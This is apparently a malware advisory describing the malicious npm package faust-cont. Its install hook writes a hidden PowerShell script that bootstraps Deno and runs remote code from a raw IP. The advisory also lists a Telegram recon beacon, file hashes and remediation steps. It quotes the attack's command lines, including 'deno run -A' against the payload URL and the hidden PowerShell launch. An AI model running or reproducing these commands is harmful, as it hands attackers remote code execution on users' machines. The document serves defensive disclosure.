⛔ Malware Advisory Detected 2026-07-21 UTC
Confirmed malicious. codelake independently detected this at 2026-07-21 UTC — codelake is the source of record — not present in OSV at detection (novel first-catch). The package was already unpublished from npm by the time of analysis; the artifact is preserved in the codelake archive. Now published in the OSV/OpenSSF malicious-packages database as MAL-2026-11042 (from the codelake report, merged 2026-07-24) — codelake remains the source of record.. Not yet in any public advisory database at detection time — codelake is the source of record. Shared infrastructure: the payload host 172.94.9.157 is the same raw IP used by CLR-2026-3037 (tailwind-gutenberg-block-zero), which also chained a hidden-PowerShell stage with a Telegram beacon — indicating a common operator. faust-cont adds the Deno-as-LOLBin execution twist.
Advisory · CLR-2026-3040

faust-cont — an install-hook dropper that runs remote code via Deno

The npm package [email protected] declares an install lifecycle hook (node install.js) that runs on every npm install, before any of your own code. On Windows it writes and launches a hidden PowerShell script that bootstraps a runtime toolchain (scoop → winget → Deno) and then executes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — remote code fetched from a raw IP over plain HTTP, run with all Deno permissions. index.js is a benign "cli tool" decoy.

CriticalConfirmed maliciousAI + IOC verifiedNovel — not in OSV
Summary

A staged install-time dropper. On npm install, faust-cont's install hook (node install.js) executes automatically — before the package is ever imported — fires a Telegram recon beacon and, on Windows, launches a hidden PowerShell stage that ends in a remote code-execution via Deno.

The novelty is the execution vector: rather than the usual curl | sh or a Node payload, it installs Deno and runs deno run -A <url>. Deno fetches and executes the remote module directly with all permissions granted — no payload file is written to disk by the dropper itself, only Deno's URL cache is populated. This side-steps Node-centric endpoint tooling. We describe this as Deno-as-LOLBin.

Technique / kill-chain

Described from structural analysis of the packed tarball — no working payload or reproduction is published.

1. Trigger. package.json declares scripts.install = "node install.js"; npm runs it automatically on install.

2. Recon beacon. install.js gathers OS / architecture / hostname / time and POSTs a [NEW INSTALLATION] message to the Telegram Bot API (api.telegram.org/bot<token>/sendMessage). In the published build the bot token and chat id are blank — the beacon machinery is present but inert as shipped.

3. Windows stage. It writes a PowerShell script to %TEMP%\setup.ps1 and launches it detached and hidden (start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File …). The script bootstraps a toolchain so execution succeeds even on a clean host: it installs scoop (irm get.scoop.sh | iex), then winget, then Deno (winget install DenoLand.Deno).

4. Remote code execution. The final line runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js. -A grants the fetched module all permissions (filesystem, network, environment, subprocess). Per the dropper's own comments the URL serves a server-compiled launcher-1 that pulls a launcher-2 which "sets up autorun and runs main" — i.e. persistence plus a main payload, staged so the operator can change it server-side per build id.

Any Windows machine or CI runner that installs [email protected] (directly or transitively) hands full-permission remote code execution to the operator.

Indicators of Compromise
NET172.94.9.157 — payload host (raw IP, plain HTTP)
URLhttp://172.94.9.157/v028f8cde892b0b74c8.js — Deno-executed remote payload (all permissions)
FILEinstall.js (npm install hook) → writes %TEMP%\setup.ps1 → hidden PowerShell → scoop / winget / Deno bootstrap → deno run -A <url>
NETapi.telegram.org/bot<token>/sendMessage — "[NEW INSTALLATION]" recon beacon (token blank in this build)
SHAfaust-cont-1.0.0.tgz: f1266f45fb05fe93f1dc6bd46e68c9c6efc53b18f18848c3418b48be6c8b0f1c
SHAinstall.js: d06919a5eace0256f81324e6e08c71eb8284f4c7f4af91d24a50d2d11dd50342
SHAsetup.ps1: 5c3669b962fae0937b5539ae5f045e9759dfece575c12851f6e9c143d2aa03ee
Remediation
#ActionPriority
01 Treat any host that installed [email protected] as compromised. The Deno stage runs with all permissions and installs autorun persistence — isolate the machine and hunt for a Deno install and scheduled/autorun entries created around install time. Immediate
02 Rotate every secret reachable from that host — SSH keys, CI/cloud tokens, npm tokens, API keys — from a clean machine. Immediate
03 Block egress to 172.94.9.157 and alert on deno run -A http://… against a raw IP; remove any unexpected scoop / winget / Deno install that appeared at install time. High
04 Run installs with --ignore-scripts in CI — the entire attack is a lifecycle hook. Hardening

Detected + classified independently by codelake Research via its install-hook / dropper pipeline — deterministic structural analysis of the packed tarball (package.json install hook, hidden-PowerShell stage, scoop/winget/Deno bootstrap, deno run -A against a raw-IP payload). Not present in OSV at time of detection — codelake is the source of record.

This is a confirmed-malware advisory. No working payload or reproduction is published — the behaviour is described from structural analysis, and the payload host is named as a defensive indicator only. The package was already unpublished from npm; the original artifact is preserved in the codelake archive and available to verified security researchers on request.